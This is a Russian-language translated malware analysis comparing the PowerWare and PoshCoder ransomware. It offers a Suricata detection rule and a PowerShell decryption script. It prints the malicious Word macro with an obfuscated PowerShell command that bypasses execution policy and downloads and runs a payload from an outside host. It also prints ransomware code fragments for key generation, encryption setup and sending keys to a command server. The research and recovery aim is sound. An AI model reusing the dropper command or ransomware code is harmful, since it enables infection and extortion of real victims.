[Перевод] PowerWare или PoshCoder? Сравнение и дешифрование
PowerWare загружается, с помощью Microsoft Word, документом с макрос-включениями и распространяется с помощью фишинговой спам-рассылки.
Вредоносный документ пытается убедить пользователя включить макросы, сообщая им, что файл защищен Microsoft Office. Это, конечно же фарс. Как только макрос включен, вымогатель PowerWare будет загружен и выполнен. Этот вымогатель в основном направлен на мед учреждения в США. Немного отклоняясь от темы хочу заметить, как же все таки хорошо, что в наших медучреждениях используется старая добрая персональная карта.
Скриншот вредоносного документа Microsoft Word.
Используя olevba.py
от oletools
, мы можем извлечь макрос из вышеупомянутого документа для анализа.
Private Sub Document_Open()
Dim CGJKIYRSDGHJHGFFG As String
CGJKIYRSDGHJHGFFG = "cmd /K " + "pow" + "eR" & "sh" + "ell.e" + "x" + "e -WindowStyle hiddeN -ExecuTionPolicy BypasS -noprofile (New-Object System.Net.WebClient).DownloadFile('http://skycpa[.]in/file.php','%TEMP%\Y.ps1'); poWerShEll.exe -WindowStyle hiddeN -ExecutionPolicy Bypass -noprofile -file %TEMP%\Y.ps1"
Shell CGJKIYRSDGHJHGFFG, 0
MsgBox ("Unreferenced library required")
End Sub
На выводе выше мы видим- макрос намеревается выполнить следующую PowerShell команду:
"cmd /K " + "pow" + "eR" & "sh" + "ell.e" + "x" + "e -WindowStyle hiddeN -ExecuTionPolicy BypasS -noprofile (New-Object System.Net.WebClient).DownloadFile('http://skycpa.in/file[.]php','%TEMP%\Y.ps1'); poWerShEll.exe -WindowStyle hiddeN -ExecutionPolicy Bypass -noprofile -file %TEMP%\Y.ps1”
Вымогатель использует файл cmd.exe
, чтобы запустить powershell.exe
, так как в некоторых системах непосредственный вызов исполняемого файла блокируется. Команда также вносит незначительную путаницу, такую как разделение powershell.exe
на блоки размером с бит и смешивание верхнего и нижнего регистра. Кроме того, команда пытается обойти политику выполнения и не использовать какие-либо профили, установленные системой для использования по умолчанию. После, она загружает форму полезной нагрузки syscpa[.]
в временный каталог такой как Y.ps1, после чего запускает его выполнение.
PowerWare на основе PoshCoder
При анализе файла PowerShell, который был загружен, вы можете заметить, что логика программирования выглядит знакомой. PowerWare в значительно степени основан на PoshCoder, другом вымогателе, который считался самым подлым из-за того, что уничтожал зашифрованные файлы из-за ошибок в логике программирования. Стиль программирования и последовательность действий довольно схожи, некоторые даже утверждают, что это — один из вариантов PoshCoder, а не полностью новое семейство вымогателей PowerShell. Ниже приведены некоторые из основных сходств:
1. Оба включают использование класса RijndaelManaged
. Но использование этого класса не является редкостью. Однако, если Вы обратите внимание на использование класса, то Вы заметите, что эти два- довольно подобны между собой, начиная от ключевой инициализации до выбора режима и дополнения.
$XlowQsiRsKORgfR = new-Object System.Security.Cryptography.RijndaelManaged
$XlowQsiRsKORgfR.Key = (new-Object Security.Cryptography.Rfc2898DeriveBytes $BchjdRgasjcThsjd, $UxjcRgasjfvRsj, 5).GetBytes(32)
$XlowQsiRsKORgfR.IV = (new-Object Security.Cryptography.SHA1Managed).ComputeHash([Text.Encoding]::UTF8.GetBytes("XlowQsiRsKORgfRjBMPLmCamEMyFRlWfsgTgh") )[0..15]
$XlowQsiRsKORgfR.Padding="Zeros"
$XlowQsiRsKORgfR.Mode="CBC"
Образец из PoshCoder
Bnx8Khahs3Hjx96 = new-Object System.Security.Cryptography.RijndaelManaged
$Bnx8Khahs3Hjx96.Key = (new-Object Security.Cryptography.Rfc2898DeriveBytes $GBCSWHJKIYRDVHH, $VGHKJJGFERHJJGSDQWD, 5).GetBytes(32)
$Bnx8Khahs3Hjx96.IV = (new-Object Security.Cryptography.SHA1Managed).ComputeHash([Text.Encoding]::UTF8.GetBytes("alle") )[0..15]
$Bnx8Khahs3Hjx96.Padding="Zeros"
$Bnx8Khahs3Hjx96.Mode="CBC"
Образец из PowerWare
2. Если посчитать все типы файлов, которые они шифруют, которые тут не показаны, чтобы не засорят место, то получите значение 451 тип файлов. Из этих 451 большинство найдено в обоих образцах, за исключением пяти типов, .amf
, .qtiq
, .srf
, .val
и .waw
. Разница между двумя образцами меньше 1%.
Эти два образца не являются точными копиями друг друга, есть некоторые различия в базе кода, которые вы увидите ниже.
Особенность PoshCoder в использовании жестко закодированных значений для шифрования файлов. PowerWare, с другой стороны, использует Get-Random Cmdlet чтобы в произвольном порядке генерировать значения что бы создать пароль и соль (модификатор) для RijndaelManaged.
$GBCSWHJKIYRDVHH = ([ChaR[]](GeT-RandOm -Input $(48..57 + 65..90 + 97..122) -Count 50)) -join ""
$SGKPOTTHJMNFDRYJKJ = ([ChaR[]](GeT-RandOm -Input $(48..57 + 65..90 + 97..122) -Count 20)) -join ""
$SQEGJJYRFBNHFFHJ = ([ChaR[]](GeT-RandOm -Input $(48..57 + 65..90 + 97..122) -Count 25)) -join ""
Образец из PowerWare
PoshCoder не включает какие либо виды сетевых коммуникаций. Он просто передает в произвольном порядке сгенерированные значения к удаленному серверу через запрос POST в HTTP использующий XMLHTTP.
$73848HhjhdRghx67Hhsh = New-Object -ComObject MsXml2.XMLHTTP
$73848HhjhdRghx67Hhsh.open('POST', $XCJHEDIJGDFJMVD, $false)
$73848HhjhdRghx67Hhsh.setRequestHeader("C"+"ontent-tYpe",
"apPlicAtion/x-www-form-url"+"enCodeD")
$73848HhjhdRghx67Hhsh.setRequestHeader("ConteNt-length", $post.length)
$73848HhjhdRghx67Hhsh.setRequestHeader("CoNNeCtion", "close")
$73848HhjhdRghx67Hhsh.send($HGJHBVSRYUJNBGDRHJ)
3. Варианты PoshCoder имеют признаки плохого программирования и поэтому некоторые из зашифрованных файлов могут не подлежать восстановлению. В частности скрипты указывает на то, что любой файл, размер которого меньше чем 42871 байт будет зашифрован полностью, но в случае с большими файлами шифруется только первый 42871 байт. Это проблема, потому что шифрование будет читать первые 42871 байт файла, шифровать их и затем добавлять еще 16 байтов дополнения, чтобы достигнуть следующей черты. Из-за дополнения, перезаписанные байты от 42872 до 42880 не могут быть восстановлены. Была также проблема с ключом AES, не будучи должным образом просуммированным при преобразовании в строку base64
в момент дешифровки переменная будет содержать NULL
или пустое значение. К счастью у PowerWare, кажется, нет этих проблем, и файлы могут быть нормально восстановлены.
Дешифровка PowerWare.
Как было отмечено ранее, PowerWare передает сгенерированные в произвольном порядке значения к удаленному серверу в открытом тексте через запрос POST, используя XMLHTTP. Это делает трафик легко поддается расшифровке с помощью AlienVault USM или другого NIDS с надлежащим правилом Suricata:
alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"AV TROJAN Ransomware PowerWare/Poshcoder CnC Checkin"; flow:established,to_server; content:"POST"; http_method; content:"Content-Type|3a| application/x-www-form-urlencoded"; http_header; nocase; content:".php"; http_uri; content:"string="; http_client_body; nocase; content:"&string2="; http_client_body; nocase; content:"&uuid="; http_client_body; nocase; reference:md5,4564d49eda7a048f301b1f87f9da3c62; classtype:trojan-activity; sid:12345678; rev:1;)
Который, в теории, получил бы трафик в том же виде, в котором представлен на скриншоте ниже:
Для расшифровки файлов потребуется:
- Пароль, который используется во время шифрования (string)
- Соль используемая в процессе шифрования (string2).
Используя значения string
и string2
можно расшифровать файлы, зашифрованные с помощью PowerWare.
param([string]$filename = $(Throw "Argument 'filename' required."), [string]$string1 = $(Throw "Please enter 'string'."),[string]$string2 = $(Throw "Please enter 'string2'."))
write-host "The entered filename is: $filename"
write-host "The entered Password is: $string1"
write-host "The entered Salt is: $string2"
$salt = [Text.Encoding]::UTF8.GetBytes($string2)
$Rijndael = new-Object System.Security.Cryptography.RijndaelManaged
$Rijndael.Key = (new-Object Security.Cryptography.Rfc2898DeriveBytes $string1, $salt, 5).GetBytes(32)
$Rijndael.IV = (new-Object Security.Cryptography.SHA1Managed).ComputeHash([Text.Encoding]::UTF8.GetBytes("alle") )[0..15]
$Rijndael.Padding="Zeros"
$Rijndael.Mode="CBC"
try{
$binReader = New-Object System.IO.BinaryReader([System.IO.File]::Open($filename, [System.IO.FileMode]::Open, [System.IO.FileAccess]::ReadWrite, [System.IO.FileShare]::Read),[System.Text.Encoding]::ASCII)
if ($binReader.BaseStream.Length -lt 2048){
$binReader_length = $binReader.BaseStream.Length
}
else
{
$binReader_length = 2048
}
$data = $binReader.ReadBytes($binReader_length)
$binReader.Close()
$The_Decryptor = $Rijndael.CreateDecryptor()
$memStream = new-Object IO.MemoryStream
$cryptoStream = new-Object Security.Cryptography.CryptoStream $memStream,$The_Decryptor,"Write"
$cryptoStream.Write($data, 0,$data.Length)
$cryptoStream.Close()
$memStream.Close()
$The_Decryptor.Clear()
$memStream_Array = $memStream.ToArray()
$binWriter = New-Object System.IO.BinaryWriter([System.IO.File]::Open($filename, [System.IO.FileMode]::Open, [System.IO.FileAccess]::ReadWrite, [System.IO.FileShare]::Read),[System.Text.Encoding]::ASCII)
$binWriter.Write($memStream_Array,0,$memStream_Array.Length)
$binWriter.Close()
}
catch
{
write-host "Someting broke, set debuggers to level 10"
}
Проанализированных образцов:
4564d49eda7a048f301b1f87f9da3c62 — PowerWare
627e107a62bdf541ffcfaa045fe9ba32 — PoshCoder/PoshKoder
9fe45fc4c402932248cd2c26b65f883d — PoshCoder/PoshKoder
be03eb109cab04a1a70b5bbc7b22949e — PoshCoder/PoshKoder
d09cef5f16b1e5813a25fef43474ac96 — PoshCoder/PoshKoder
В то время как PowerWare кажется новым семейством вымогателей, по большей части он основан на PoshCoder. Для более четкого понимания требуется потратить значительно больше времени анализируя PowerWare, но надеемся и такого рода анализ поможет исследователям в области безопасности в их усилиях.